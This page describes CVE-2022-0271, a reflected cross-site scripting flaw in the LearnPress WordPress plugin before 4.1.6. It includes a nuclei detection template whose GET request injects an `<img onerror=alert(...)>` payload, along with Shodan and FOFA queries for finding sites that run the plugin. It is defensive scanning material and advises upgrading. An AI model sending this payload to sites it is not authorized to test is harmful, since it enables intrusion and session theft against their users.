LearnPress <4.1.6 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>
Positive when: contains "{\"dismissed\":\"xxx<img src=x onerror=alert(document.domain)>…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0271 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0271

info:
  name: LearnPress <4.1.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
    - https://nvd.nist.gov/vuln/detail/cve-2022-0271
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0271
    cwe-id: CWE-79
    epss-score: 0.01944
    epss-percentile: 0.80331
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: /wp-content/plugins/learnpress
  tags: cve2022,cve,wp,wp-plugin,wordpress,learnpress,wpscan,xss,thimpress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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